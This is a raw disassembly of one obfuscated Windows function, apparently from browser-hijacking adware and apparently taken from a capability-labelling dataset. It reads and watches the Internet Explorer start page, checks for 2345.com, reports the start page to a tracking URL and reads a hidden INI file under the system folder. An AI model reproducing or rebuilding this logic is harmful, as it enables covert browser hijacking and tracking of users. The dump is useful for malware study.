Function at 0x411100
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43e81d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1128
call fcn.00424270
mov eax, dword [0x45193c]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x4508e0]
mov eax, 0xa61fcc17
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508ec]
imul edx, edx, 0x185
sub edx, eax
mov eax, dword [0x4508d4]
sub edx, dword [0x4508d0]
lea esi, [edx + eax + 0xd7]
mov edx, dword [0x4508e8]
mov eax, 0x49e28fbb
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x73d0e82d
imul ecx
sub edx, ecx
mov eax, dword [0x4508cc]
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508e4]
imul edx, edx, 0x315
sub ecx, ebx
sub ecx, edx
xor edi, edi
add ecx, esi
lea ecx, [eax + ecx - 0x30e]
mov dword [ebp - 0x10ec], edi
mov dword [str._r_____r_____n], esi
mov dword [ebp - 4], edi
mov dword [0x4508cc], ecx
mov dword [ebp - 0x10dc], edi
lea edx, [ebp - 0x10dc]
push edx
push 0x441058
push 0x17
push edi
push 0x44580c
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, dword [0x4508e0]
mov ecx, dword [0x4508d4]
mov esi, eax
mov eax, 0x197b05f9
imul edi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x21d814d3
imul ecx
sub edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x4508e4]
sub edx, ebx
sub edx, ecx
mov ecx, dword [0x4508ec]
test esi, esi
lea eax, [edx + ecx - 0x30e]
mov dword [0x4508d4], eax
jge 0x41129d
mov ecx, dword [0x4508dc]
mov esi, dword [0x4508e8]
imul ecx, ecx, 0x377
mov eax, 0x60f25deb
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d0]
imul edx, edx, 0x1a8
sub ecx, eax
add ecx, esi
lea eax, [edx + ecx - 0x15c]
mov dword [0x4508d8], eax
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 0
je 0x411296
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x412ab2
mov esi, dword [0x4508d8]
imul ecx, ecx, 0x30f
mov eax, 0x68fed1fd
imul esi
sub edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x4508dc]
mov eax, 0xa8791709
imul ecx
mov eax, dword [ebp - 0x10dc]
add edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add esi, edx
lea edx, [ecx + esi + 0x456]
mov dword [0x4508dc], edx
lea edx, [ebp - 0x10e8]
push edx
mov dword [ebp - 0x10e8], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov edi, dword [0x4508d0]
mov ecx, dword [0x4508d8]
imul ecx, ecx, 0x30f
mov eax, edi
imul eax, eax, 0x3a7
sub ecx, eax
mov eax, 0x49e28fbb
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d4]
imul edx, edx, 0x315
sub ecx, eax
mov eax, dword [ebp - 0x10e8]
add ecx, edx
test eax, eax
mov dword [0x4508e0], ecx
je 0x411282
mov esi, dword [0x4508dc]
mov eax, 0xde27eb2d
imul esi, esi, 0x222
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
imul edx, edx, 0x24e
sub esi, eax
mov eax, dword [ebp + 8]
test eax, eax
lea esi, [esi + edx - 0x30e]
mov dword [0x4508e4], esi
je 0x4113e6
mov edx, dword [0x4508e8]
imul ecx, ecx, 0x1b2
mov eax, 0x197b05f9
imul edx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508cc]
imul edx, edx, 0x2a4
sub edx, eax
add edx, ecx
sub edx, edi
sub edx, 0x163
mov ecx, 0x462978
mov dword [0x4508e8], edx
call fcn.00405a30
mov ecx, dword [0x4508e0]
mov esi, dword [0x4508e4]
mov edi, dword [str._r_____r_____n]
imul esi, esi, 0x1b2
mov eax, 0x8c2f17d3
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x60f25deb
imul dword [0x4508dc]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d4]
imul edx, edx, 0x1a8
sub eax, edi
sub eax, esi
lea esi, [eax + edx - 0x30e]
mov dword [0x4508ec], esi
xor edi, edi
cmp edi, dword [ebp - 0x10e8]
mov dword [ebp - 0x10f4], edi
jge 0x412a59
mov ebx, dword [0x4508d0]
imul esi, esi, 0x185
mov eax, 0xa61fcc17
imul ecx
add edx, ecx
mov ecx, dword [0x4508d4]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ebx
lea edx, [esi + ecx + 0xd7]
mov dword [str._r_____r_____n], edx
mov dword [ebp - 0x10d4], 0
mov eax, edi
mov word [ebp - 0x111c], 3
mov dword [ebp - 0x1114], eax
mov edi, dword [ebp - 0x111c]
mov ecx, dword [ebp - 0x10dc]
mov edx, dword [ecx]
lea esi, [ebp - 0x10d4]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1118]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1110]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x111c]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [0x4508e0]
mov esi, dword [0x4508d4]
mov eax, 0x197b05f9
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x21d814d3
imul esi
sub edx, esi
mov esi, dword [0x4508e4]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508ec]
sub eax, ebx
sub eax, esi
test edi, edi
lea ebx, [eax + edx - 0x30e]
mov dword [0x4508d4], ebx
jl 0x411605
mov edx, dword [0x4508d0]
imul ebx, ebx, 0x315
mov ecx, dword [0x4508d8]
mov eax, edx
imul ecx, ecx, 0x30f
imul eax, eax, 0x3a7
sub ecx, eax
mov eax, 0x49e28fbb
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d4]
add ecx, ebx
xor edi, edi
test eax, eax
mov dword [0x4508e0], ecx
mov dword [ebp - 0x10c8], edi
je 0x4115b3
mov ecx, dword [eax]
lea edx, [ebp - 0x10c8]
push edx
push 0x4410b0
push eax
call dword [ecx]
mov edi, dword [ebp - 0x10c8]
mov ecx, dword [0x4508e0]
mov esi, dword [0x4508e4]
imul esi, esi, 0x315
mov eax, 0x49e28fbb
imul dword [0x4508e8]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x73d0e82d
imul ecx
sub edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508cc]
sub eax, ebx
mov ebx, dword [str._r_____r_____n]
sub eax, esi
add eax, ebx
test edi, edi
lea eax, [edx + eax - 0x30e]
mov dword [0x4508cc], eax
jne 0x411622
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x412a47
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x412a41
mov esi, dword [0x4508dc]
mov eax, esi
imul eax, eax, 0x377
mov dword [ebp - 0x10cc], eax
mov eax, 0x60f25deb
imul ecx
mov ecx, dword [ebp - 0x10cc]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x4508d0]
add eax, dword [0x4508e8]
mov edx, ecx
imul edx, edx, 0x1a8
lea eax, [edx + eax - 0x15c]
mov dword [0x4508d8], eax
mov dword [ebp - 0x10cc], 0
imul esi, esi, 0x222
imul ebx, ebx, 0x24e
mov eax, 0xde27eb2d
imul ecx
add edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
lea ecx, [ebp - 0x10cc]
lea edx, [esi + ebx - 0x30e]
push ecx
mov dword [0x4508e4], edx
mov eax, dword [edi]
push edi
mov byte [ebp - 4], 5
call dword [eax + 0x48]
xor ebx, ebx
cmp eax, ebx
jge 0x4116da
mov eax, dword [ebp - 0x10cc]
cmp eax, ebx
mov byte [ebp - 4], 4
je 0x4117b3
mov edx, dword [eax]
push eax
jmp 0x4117b0
mov ecx, dword [0x4508d4]
mov esi, dword [0x4508e4]
mov eax, 0x97012e03
imul esi, esi, 0x1a8
imul ecx
add edx, ecx
mov ecx, dword [0x4508ec]
imul ecx, ecx, 0x185
sar edx, 8
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, dword [ebp - 0x10cc]
sub eax, ecx
mov ecx, dword [0x4508d8]
sub eax, ecx
add eax, 0x4f2
cmp esi, ebx
mov dword [0x4508d0], eax
mov dword [ebp - 0x10d8], ebx
je 0x41174e
mov edx, dword [esi]
lea eax, [ebp - 0x10d8]
push eax
push 0x4410c0
push esi
call dword [edx]
mov esi, dword [ebp - 0x10cc]
mov ecx, dword [0x4508d8]
mov edi, dword [0x4508ec]
mov eax, 0x68fed1fd
imul edi, edi, 0x30f
imul ecx
sub edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, ecx
mov ecx, dword [0x4508dc]
sub eax, edi
mov edi, eax
mov eax, 0xa8791709
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edi, edx
lea ecx, [eax + edi + 0x456]
cmp dword [ebp - 0x10d8], ebx
mov byte [ebp - 4], 6
mov dword [0x4508dc], ecx
jne 0x4117de
cmp esi, ebx
mov byte [ebp - 4], 4
je 0x4117b3
mov edx, dword [esi]
push esi
call dword [edx + 8]
mov eax, dword [ebp - 0x10c8]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x4117c7
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d4]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x412a41
jmp 0x412a3b
test byte [0x462c70], 1
jne 0x411804
mov esi, dword [0x462c70]
or esi, 1
push ebx
mov dword [0x462c70], esi
call fcn.0042422f
add esp, 4
mov dword [0x462c6c], eax
push ebx
call fcn.0042422f
sub eax, dword [0x462c6c]
add esp, 4
cmp eax, 0x708
jge 0x4118c7
mov eax, dword [ebp - 0x10c8]
mov ecx, dword [eax]
lea edx, [ebp - 0x1100]
push edx
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x1100]
lea eax, [ebp - 0x10f8]
push eax
push ecx
mov dword [ebp - 0x10f8], ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [ebp - 0x10f8]
cmp eax, ebx
je 0x412211
push eax
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, eax
cmp edx, ebx
je 0x4118c7
mov ax, word [0x441a70]
mov cl, byte [0x441a72]
mov word [ebp - 0x2c4], ax
mov byte [ebp - 0x2c2], cl
xor eax, eax
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push ebx
push edx
call sub.PSAPI.DLL_GetModuleFileNameExA
lea ecx, [ebp - 0x2c4]
push str.startup.exe
push ecx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x412226
mov ecx, dword [0x4508e8]
mov eax, 0x197b05f9
imul ecx
mov ecx, dword [0x4508e0]
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508cc]
mov edi, dword [0x4508d0]
imul edx, edx, 0x2a4
sub edx, eax
mov eax, ecx
imul eax, eax, 0x1b2
add edx, eax
mov eax, dword [ebp + 8]
sub edx, edi
sub edx, 0x163
mov dword [0x4508e8], edx
mov edx, dword [ebp - 0x10ec]
inc edx
cmp eax, ebx
mov dword [ebp - 0x10ec], edx
je 0x412990
push ecx
lea edx, [ebp - 0x10c8]
mov ecx, esp
mov dword [ebp - 0x10d0], esp
push edx
call fcn.00406520
mov ecx, 0x462978
call fcn.00405b50
test al, al
mov ecx, dword [0x4508e0]
jne 0x412990
mov edi, dword [0x4508ec]
mov eax, 0xa61fcc17
imul ecx
add edx, ecx
mov esi, dword [0x4508d0]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x185
sub edx, eax
sub edx, esi
mov esi, dword [0x4508d4]
lea eax, [edx + esi + 0xd7]
mov dword [str._r_____r_____n], eax
mov eax, 0x197b05f9
imul ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x21d814d3
imul esi
sub edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
sub eax, dword [0x4508e4]
lea ecx, [eax + edi - 0x30e]
mov eax, dword [ebp - 0x10c8]
mov dword [0x4508d4], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x1108]
push ecx
push eax
call dword [edx + 0x78]
mov ecx, dword [0x4508d0]
mov esi, dword [0x4508d8]
mov edx, ecx
imul esi, esi, 0x30f
imul edx, edx, 0x3a7
sub esi, edx
mov eax, 0x49e28fbb
imul ecx
mov ecx, dword [0x4508d4]
sar edx, 8
imul ecx, ecx, 0x315
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x1108]
sub esi, eax
add esi, ecx
push edx
mov dword [0x4508e0], esi
call fcn.00419ad0
mov ecx, dword [0x4508e0]
mov dword [ebp - 0x10d0], eax
mov edi, dword [0x4508d0]
mov eax, 0xa61fcc17
imul ecx
add edx, ecx
mov ecx, dword [0x4508ec]
imul ecx, ecx, 0x185
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d4]
sub ecx, eax
sub ecx, edi
lea eax, [ecx + edx + 0xd7]
mov dword [str._r_____r_____n], eax
mov eax, dword [ebp - 0x10d8]
mov ecx, dword [eax]
lea edx, [ebp - 0x10fc]
push edx
push eax
call dword [ecx + 0x90]
mov ecx, dword [0x4508d4]
mov edi, dword [0x4508e4]
mov esi, eax
imul edi, edi, 0x1a8
mov eax, 0x97012e03
imul ecx
mov eax, dword [0x4508ec]
add edx, ecx
imul eax, eax, 0x185
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov edi, dword [0x4508d8]
sub ecx, eax
sub ecx, edi
add ecx, 0x4f2
cmp esi, ebx
mov dword [0x4508d0], ecx
jne 0x411b08
mov ecx, dword [ebp - 0x10fc]
push ecx
call fcn.00419ad0
cmp eax, ebx
je 0x411b02
lea edx, [eax + 1]
jmp 0x411af0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411af0
sub eax, edx
cmp eax, 5
ja 0x412382
mov ecx, dword [0x4508d0]
mov edx, dword [0x4508e0]
imul ecx, ecx, 0x1a8
mov esi, dword [0x4508dc]
mov eax, 0x60f25deb
imul esi, esi, 0x377
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, dword [0x4508e8]
lea ecx, [ecx + esi - 0x15c]
mov dword [0x4508d8], ecx
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x411b51
lea edx, [ebp - 0x1c4]
push edx
call fcn.00419970
mov ecx, dword [str._r_____r_____n]
mov dword [ebp - 0x110c], eax
mov eax, 0x8c2f17d3
imul ecx
add edx, ecx
mov ecx, dword [0x4508dc]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x60f25deb
imul ecx
mov eax, dword [0x4508d4]
sar edx, 8
imul eax, eax, 0x1a8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508e4]
imul edx, edx, 0x1b2
sub ecx, esi
sub ecx, edx
mov edx, dword [0x441a54]
lea ebx, [ecx + eax - 0x30e]
mov ecx, dword [str.sfdafsdafdsfdsfa]
mov eax, dword [0x441a58]
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x441a5c]
mov dword [ebp - 0x140], edx
mov dl, byte [0x441a60]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], ecx
xor eax, eax
mov byte [ebp - 0x134], dl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x4508e0]
mov eax, 0xa61fcc17
imul ecx
mov dword [0x4508ec], ebx
imul ebx, ebx, 0x185
add edx, ecx
mov ecx, dword [0x4508d4]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d0]
sub ebx, eax
lea eax, [ebp - 0x10f0]
push eax
push 0xf003f
sub ebx, edx
lea edx, [ebx + ecx + 0xd7]
push 0
lea ecx, [ebp - 0x40]
push ecx
push SysReAllocString
mov dword [ebp - 0x10f0], 0
movsw word es:[edi], word [esi]
mov dword [str._r_____r_____n], edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x411e74
mov ecx, dword [0x4508d8]
mov esi, dword [0x4508ec]
mov eax, 0x68fed1fd
imul esi, esi, 0x30f
imul ecx
sub edx, ecx
imul ecx, ecx, 0x30f
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
mov esi, dword [0x4508dc]
mov eax, 0xa8791709
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edi, edx
lea edx, [eax + edi + 0x456]
mov dword [0x4508dc], edx
mov edx, dword [0x4508e8]
mov esi, dword [0x4508e0]
mov eax, 0x49e28fbb
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x73d0e82d
imul esi
sub edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508e4]
imul edx, edx, 0x315
sub eax, edi
mov edi, dword [str._r_____r_____n]
sub eax, edx
mov edx, dword [0x4508cc]
add eax, edi
lea eax, [edx + eax - 0x30e]
mov edx, dword [0x4508d0]
mov dword [0x4508cc], eax
mov eax, edx
imul eax, eax, 0x3a7
sub ecx, eax
mov eax, 0x49e28fbb
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d4]
imul edx, edx, 0x315
sub ecx, eax
add ecx, edx
lea eax, [ebp - 0x10e0]
push eax
mov eax, dword [ebp - 0x10f0]
mov dword [0x4508e0], ecx
lea ecx, [ebp - 0x144]
push ecx
lea edx, [ebp - 0x10e4]
push edx
push 0
push str.Start_Page
mov ebx, 1
push eax
mov dword [ebp - 0x10e0], 0x104
mov dword [ebp - 0x10e4], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x411e74
mov edi, dword [0x4508d4]
mov ecx, dword [0x4508e4]
mov eax, 0x97012e03
imul ecx, ecx, 0x1a8
imul edi
mov eax, dword [0x462c68]
add edx, edi
sar edx, 8
add ecx, edx
mov esi, edx
mov edx, dword [0x4508ec]
imul edx, edx, 0x185
shr esi, 0x1f
add esi, ecx
mov ecx, dword [0x4508d8]
sub esi, edx
sub esi, ecx
add esi, 0x4f2
test eax, eax
mov dword [0x4508d0], esi
jne 0x411e86
lea eax, [ebp - 0x144]
push str..2345.com
push eax
call fcn.00424960
add esp, 8
test eax, eax
jne 0x411e40
lea ecx, [ebp - 0x144]
push str..2345.COM
push ecx
call fcn.00424960
add esp, 8
test eax, eax
je 0x411e74
lea edx, [ebp - 0x144]
push edx
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x462ce0
mov dword [0x462c68], ebx
call fcn.0042414a
push 0x132b600
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x4508d0]
mov edi, dword [0x4508d4]
mov ecx, dword [0x4508d8]
imul ecx, ecx, 0x30f
imul edi, edi, 0x315
mov eax, esi
imul eax, eax, 0x3a7
sub ecx, eax
mov eax, 0x49e28fbb
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, edi
mov dword [0x4508e0], ecx
mov ecx, dword [ebp - 0x10f0]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [0x4508e8]
mov esi, dword [0x4508e0]
mov eax, 0x49e28fbb
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x73d0e82d
imul esi
sub edx, esi
imul esi, esi, 0x1b2
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov ecx, dword [0x4508e4]
mov edx, dword [0x4508cc]
imul ecx, ecx, 0x315
sub eax, ecx
add eax, dword [str._r_____r_____n]
lea ecx, [edx + eax - 0x30e]
mov ebx, dword [0x4508d0]
mov eax, 0x197b05f9
imul edi
mov dword [0x4508cc], ecx
imul ecx, ecx, 0x2a4
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d8]
add ecx, esi
sub ecx, ebx
sub ecx, 0x163
lea edx, [ebp - 0x1104]
push edx
mov dword [0x4508e8], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x1104]
push eax
call fcn.00419ad0
mov edx, dword [0x4419f0]
mov ebx, eax
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x4419f4]
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x4419f8]
mov dword [ebp - 0x4c0], edx
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], ecx
mov dx, word [0x4419fc]
mov word [ebp - 0x4b4], dx
xor eax, eax
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411fe4
sub eax, edx
mov dword [ebp - 0x10e4], eax
je 0x412122
push str.http:__
push ebx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x41210d
push str.HTTP:__
push ebx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x41210d
push str.www.
push ebx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x41210d
push str.WWW.
push ebx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x41210d
push str..COM
push ebx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x41210d
push str..com
push ebx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x41210d
push str..NET
push ebx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x41210d
push str..net
push ebx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x41210d
push str..ORG
push ebx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x41210d
push str..org
push ebx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x41210d
push 0x441998
push ebx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x41210d
push 0x441994
push ebx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x41210d
push str..htm
push ebx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x41210d
push str..HTM
push ebx
call fcn.00424960
add esp, 8
test eax, eax
je 0x412122
push ebx
lea eax, [ebp - 0x4c4]
push 0x44197c
push eax
call fcn.0042414a
add esp, 0xc
push str.C:WINDOWS_system_sdax.txt
push 0x400
lea ecx, [ebp - 0x8c4]
push ecx
push 0x440e09
push str.rtgbh
push str.asdf
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x4122f5
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412155
sub eax, edx
mov dword [ebp - 0x10e4], eax
je 0x4122f5
mov edi, 0x441094
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x4122f5
lea eax, [ebp - 0x144]
push eax
push ebx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x4122f5
lea ecx, [ebp - 0x144]
push ebx
push ecx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x4122f5
lea edx, [ebp - 0x1c4]
push edx
push ebx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x4122f5
lea eax, [ebp - 0x1c4]
push ebx
push eax
call fcn.00424960
add esp, 8
test eax, eax
jne 0x4122f5
mov esi, str.http:__i.maxthon.cn_
mov cl, byte [ebx]
mov dl, byte [esi]
mov al, cl
cmp cl, dl
jne 0x41227f
test al, al
je 0x41220d
mov dl, byte [ebx + 1]
mov cl, byte [esi + 1]
mov al, dl
cmp dl, cl
jne 0x41227f
add ebx, 2
add esi, 2
test al, al
jne 0x4121e5
xor eax, eax
jmp 0x412284
push str.startup.exe
call fcn.00403420
add esp, 4
test eax, eax
jle 0x4118c7
mov eax, dword [ebp - 0x10d8]
cmp eax, ebx
mov byte [ebp - 4], 5
je 0x41223a
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10cc]
cmp eax, ebx
mov byte [ebp - 4], 4
je 0x41224e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10c8]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x412262
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d4]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x412a41
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x412a41
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4122f5
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.00424960
add esp, 8
test eax, eax
jne 0x4122f5
mov esi, dword [0x4508e0]
mov ecx, dword [0x4508d4]
mov eax, 0x197b05f9
imul esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x21d814d3
imul ecx
mov eax, dword [0x4508ec]
sub edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x4508e4]
sub edx, edi
sub edx, ecx
lea edx, [edx + eax - 0x30e]
mov dword [0x4508d4], edx
jmp 0x41238e
push 0
call fcn.0042422f
mov ecx, dword [0x462c64]
mov dword [0x462c60], eax
add esp, 4
inc ecx
mov dword [0x462c64], ecx
mov ecx, dword [0x4508d8]
mov esi, dword [0x4508ec]
mov eax, 0x68fed1fd
imul esi, esi, 0x30f
imul ecx
sub edx, ecx
mov ecx, dword [0x4508dc]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xa8791709
imul ecx
mov eax, dword [ebp - 0x10c8]
add edx, ecx
sar edx, 8
mov ecx, edx
sub edi, esi
shr ecx, 0x1f
add edi, edx
lea edx, [ecx + edi + 0x456]
mov dword [0x4508dc], edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x38]
mov ecx, dword [ebp - 0x110c]
mov eax, dword [ebp - 0x10d8]
mov edx, dword [eax]
push ecx
push eax
call dword [edx + 0x9c]
mov esi, dword [0x4508e0]
mov ecx, dword [0x4508e4]
mov edi, dword [0x4508e8]
imul ecx, ecx, 0x315
mov eax, 0x49e28fbb
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x73d0e82d
imul esi
sub edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov ebx, dword [ebp - 0x10d0]
sub eax, ecx
add eax, dword [str._r_____r_____n]
test ebx, ebx
mov ecx, dword [0x4508cc]
lea ecx, [ecx + eax - 0x30e]
mov dword [0x4508cc], ecx
je 0x412875
mov eax, ebx
lea edx, [eax + 1]
mov dword [ebp - 0x10d0], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4123f6
sub eax, dword [ebp - 0x10d0]
mov dword [ebp - 0x10d0], eax
je 0x412875
mov ecx, dword [0x4508dc]
mov eax, 0x60f25deb
imul ecx, ecx, 0x377
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d0]
imul edx, edx, 0x1a8
